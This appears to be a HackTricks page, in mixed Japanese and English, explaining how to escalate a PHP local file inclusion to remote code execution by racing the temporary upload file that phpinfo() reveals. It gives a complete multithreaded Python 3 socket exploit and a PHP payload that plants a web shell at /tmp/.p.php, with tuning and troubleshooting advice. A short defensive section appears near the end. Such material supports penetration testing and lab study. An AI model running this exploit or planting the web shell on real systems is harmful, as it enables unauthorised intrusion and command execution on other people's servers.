LFI to RCE via PHPInfo
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
この手法を悪用するには、次のすべてが必要です:
- phpinfo() 出力を表示する到達可能なページ。
- あなたが制御できる Local File Inclusion (LFI) プリミティブ(例: ユーザー入力に対する include/require)。
- PHP の file uploads が有効であること (file_uploads = On)。任意の PHP スクリプトは RFC1867 multipart uploads を受け付け、アップロードされた各パートに対して一時ファイルを作成します。
- PHP ワーカーが設定された upload_tmp_dir(またはデフォルトのシステム一時ディレクトリ)に書き込みでき、あなたの LFI がそのパスを include できること。
Classic write-up and original PoC:
- Whitepaper: LFI with PHPInfo() Assistance (B. Moore, 2011)
- Original PoC script name: phpinfolfi.py (see whitepaper and mirrors)
Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s
Notes about the original PoC
- phpinfo() の出力は HTML エンコードされるため、“=>” 矢印はしばしば “=>” と表示されます。レガシーなスクリプトを再利用する場合、_FILES[tmp_name] の値をパースするときに両方のエンコーディングを検索するようにしてください。
- ペイロード(your PHP code)、REQ1(padding を含む phpinfo() エンドポイントへのリクエスト)、および LFIREQ(LFI シンクへのリクエスト)は適宜調整する必要があります。ターゲットによっては null-byte (%00) 終端子を必要とせず、最新の PHP バージョンではこれを尊重しません。脆弱なシンクに合わせて LFIREQ を調整してください。
Example sed (only if you really use the old Python2 PoC) to match HTML-encoded arrow:
sed -i 's/\[tmp_name\] =>/\[tmp_name\] =>/g' phpinfolfi.py
理論
- PHPがファイルフィールドを含むmultipart/form-dataのPOSTを受け取ると、その内容を一時ファイル(upload_tmp_dir または OS のデフォルト)に書き込み、パスを$_FILES[‘
’][‘tmp_name’]で公開します。ファイルは移動/名前変更されない限り、リクエストの終了時に自動的に削除されます。 - トリックは一時ファイル名を把握し、PHPが削除する前にそのパスをLFIで include することです。phpinfo() は $_FILES を出力し、tmp_name も含まれます。
- リクエストヘッダ/パラメータを膨らませる(padding)ことで、リクエスト完了前に phpinfo() の出力の先頭チャンクをクライアントにフラッシュさせ、tmp_name を一時ファイルが存在するうちに読み取り、直ちにそのパスでLFIを叩けるようにできます。
In Windows the temp files are commonly under something like C:\Windows\Temp\php*.tmp. In Linux/Unix they are usually in /tmp or the directory configured in upload_tmp_dir.
phpinfo() でレース前に確認すべきこと
Before sending thousands of requests, extract the values that decide whether the race is realistic:
file_uploads:Onであること。upload_tmp_dir: 設定されている場合、LFI が include できる必要のあるディレクトリです。空の場合はシステムのデフォルト一時ディレクトリを想定してください。open_basedir: 有効な場合、脆弱な include パスがtmp_nameに表示される一時ディレクトリに到達できる必要があります。output_buffering:4096は一般的/デフォルトのサイズで、多くの PoC が 4KB チャンクで読む理由です。ただしこの値は異なることがあります。zlib.output_compression,output_handler, and any framework-level buffering: これらはtmp_nameを早期に見る確率を下げます。Server API: PHP とクライアント間にどれだけのバッファリングがあるかを判断するのに有用です(apache2handlerは通常、リバースプロキシ越しのfpm-fcgiより考えやすいです)。
If the page does not show $_FILES, make sure you are really sending a multipart/form-data request with an actual file part. PHP only populates tmp_name for upload fields that were parsed.
攻撃ワークフロー(ステップバイステップ)
- レースに負けないよう、素早くシェルを永続化する小さな PHP ペイロードを用意します(ファイルを書き込む方が通常、reverse shell を待つより高速です):
<?php file_put_contents('/tmp/.p.php', '<?php system($_GET["x"]); ?>');
-
phpinfo() ページに対して大きな multipart POST を直接送信し、ペイロードを含む一時ファイルを作成させる。早期に出力されるように、さまざまな headers/cookies/params を約5–10KB のパディングで膨らませる。フォームフィールド名が $_FILES で解析する名前と一致することを確認する。
-
phpinfo() のレスポンスがまだストリーミング中に、部分的なボディを解析して $_FILES[‘
’][‘tmp_name’](HTML-encoded)を抽出する。完全な絶対パス(例: /tmp/php3Fz9aB)を取得したら、そのパスを include するように LFI を発動する。include() が一時ファイルが削除される前に実行されれば、ペイロードが動作して /tmp/.p.php をドロップする。 -
ドロップされたファイルを使う: GET /vuln.php?include=/tmp/.p.php&x=id(または LFI で含められる場所)でコマンドを確実に実行する。
Tips
- レースに勝つ確率を上げるために、複数の concurrent workers を使用する。
- 効果的なパディング配置例: URL parameter, Cookie, User-Agent, Accept-Language, Pragma。ターゲットごとに調整する。
- 脆弱な sink が拡張子(例: .php)を付加する場合、null byte は不要;include() は一時ファイルの拡張子に関係なく PHP を実行する。
Minimal Python 3 PoC (socket-based)
The snippet below focuses on the critical parts and is easier to adapt than the legacy Python2 script. Customize HOST, PHPSCRIPT (phpinfo endpoint), LFIPATH (path to the LFI sink), and PAYLOAD.
#!/usr/bin/env python3
import re, html, socket, threading
HOST = 'target.local'
PORT = 80
PHPSCRIPT = '/phpinfo.php'
LFIPATH = '/vuln.php?file=%s' # sprintf-style where %s will be the tmp path
THREADS = 10
PAYLOAD = (
"<?php file_put_contents('/tmp/.p.php', '<?php system($_GET[\\"x\\"]); ?>'); ?>\r\n"
)
BOUND = '---------------------------7dbff1ded0714'
PADDING = 'A' * 6000
REQ1_DATA = (f"{BOUND}\r\n"
f"Content-Disposition: form-data; name=\"f\"; filename=\"a.txt\"\r\n"
f"Content-Type: text/plain\r\n\r\n{PAYLOAD}{BOUND}--\r\n")
REQ1 = (f"POST {PHPSCRIPT}?a={PADDING} HTTP/1.1\r\n"
f"Host: {HOST}\r\nCookie: sid={PADDING}; o={PADDING}\r\n"
f"User-Agent: {PADDING}\r\nAccept-Language: {PADDING}\r\nPragma: {PADDING}\r\n"
f"Content-Type: multipart/form-data; boundary={BOUND}\r\n"
f"Content-Length: {len(REQ1_DATA)}\r\n\r\n{REQ1_DATA}")
LFI = ("GET " + LFIPATH + " HTTP/1.1\r\nHost: %s\r\nConnection: close\r\n\r\n")
pat = re.compile(r"\\[tmp_name\\]\\s*=>\\s*([^\\s<]+)")
def race_once():
s1 = socket.socket()
s2 = socket.socket()
s1.connect((HOST, PORT))
s2.connect((HOST, PORT))
s1.sendall(REQ1.encode())
buf = b''
tmp = None
while True:
chunk = s1.recv(4096)
if not chunk:
break
buf += chunk
m = pat.search(html.unescape(buf.decode(errors='ignore')))
if m:
tmp = m.group(1)
break
ok = False
if tmp:
req = (LFI % tmp).encode() % HOST.encode()
s2.sendall(req)
r = s2.recv(4096)
ok = b'.p.php' in r or b'HTTP/1.1 200' in r
s1.close(); s2.close()
return ok
if __name__ == '__main__':
hit = False
def worker():
nonlocal_hit = False
while not hit and not nonlocal_hit:
nonlocal_hit = race_once()
if nonlocal_hit:
print('[+] Won the race, payload dropped as /tmp/.p.php')
exit(0)
ts = [threading.Thread(target=worker) for _ in range(THREADS)]
[t.start() for t in ts]
[t.join() for t in ts]
トラブルシューティング
- You never see
tmp_name: phpinfo() に対して本当にmultipart/form-dataで POST していることを確認すること。phpinfo() はアップロードフィールドが存在した場合にのみ$_FILESを出力する。 tmp_nameappears only at the very end of the response: これは通常バッファリングの問題で、PHP のバージョン問題ではない。大きなoutput_buffering値、zlib.output_compression、ユーザーランドの出力ハンドラ、またはリバースプロキシ/FastCGI のバッファリングが原因で、phpinfo() 本体がアップロードリクエストのほぼ完了まで遅延することがある。- You only get reliable streaming in a lab, not through the real site: CDN、WAF、またはリバースプロキシが上流のレスポンスをバッファしている可能性がある。アプリへの経路が複数ある場合は、最も直接的なオリジン経路を選ぶ。
- The classic 4096-byte offset logic misses the leak: 4096 は共通の
output_bufferingデフォルトから導かれる出発点とみなすべきで、普遍的な定数ではない。インクリメンタルに解析し、tmp_nameが完全になったらすぐに停止する。 - The temp file is included but your shell dies immediately: 2つ目のファイルを書き出す小さなステージャーを使うこと。アップロードされたテンポラリファイルは元のリクエスト終了時に削除されるため。
- Output doesn’t flush early: パディングを増やす、大きなヘッダを追加する、または複数の同時リクエストを送る。いくつかの SAPI/バッファはより大きな閾値までフラッシュされないことがあるので、それに合わせて調整する。
- LFI path blocked by open_basedir or chroot: LFI を許可されたパスに向けるか、別の LFI2RCE ベクターに切り替える必要がある。
- Temp directory not
/tmp: phpinfo() は絶対パスのtmp_nameを完全に出力する。LFI ではその正確なパスを使う。
モダンなスタックの実用的な注意点
- This technique is still reproducible in modern lab environments; for example, Vulhub keeps a demonstrator on PHP 7.2. 実際には成功は phpinfo 固有のパッチレベルよりも output buffering とプロキシングに依存することが多い。
flush()andimplicit_flushonly influence PHP’s own output layer. FastCGI ゲートウェイ、リバースプロキシ、ブラウザ、または途中の中継が部分的なチャンクを即座に解放することを保証するものではない。- If the target is
fpm-fcgibehind Nginx/Apache proxying, think in layers: PHP buffer, PHP output handlers/compression, FastCGI buffering, then proxy buffering. レースは、リクエストのシャットダウンがテンポラリファイルを削除する前に、phpinfo() レスポンスの十分な部分がそのチェーンを抜け出す場合にのみ機能する。
防御上の注意点
- 本番環境で phpinfo() を公開してはいけない。必要な場合は IP/認証で制限し、使用後は削除する。
- 不要なら
file_uploadsを無効にしておく。そうでない場合はupload_tmp_dirをアプリケーションのinclude()から到達できないパスに限定し、include/requireのパスに厳格な検証を強制する。 - いかなる LFI も重大と見なすこと。phpinfo() がなくても他の LFI→RCE パスが存在する。
Related HackTricks techniques
LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
参考資料
- LFI With PHPInfo() Assistance whitepaper (2011) – Packet Storm ミラー: https://packetstormsecurity.com/files/download/104825/LFI_With_PHPInfo_Assitance.pdf
- PHP Manual – POST method uploads: https://www.php.net/manual/en/features.file-upload.post-method.php
- PHP Manual – Flushing System Buffers: https://www.php.net/manual/en/outcontrol.flushing-system-buffers.php
- Vulhub – PHP Local File Inclusion RCE with PHPINFO: https://github.com/vulhub/vulhub/blob/master/php/inclusion/README.md
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


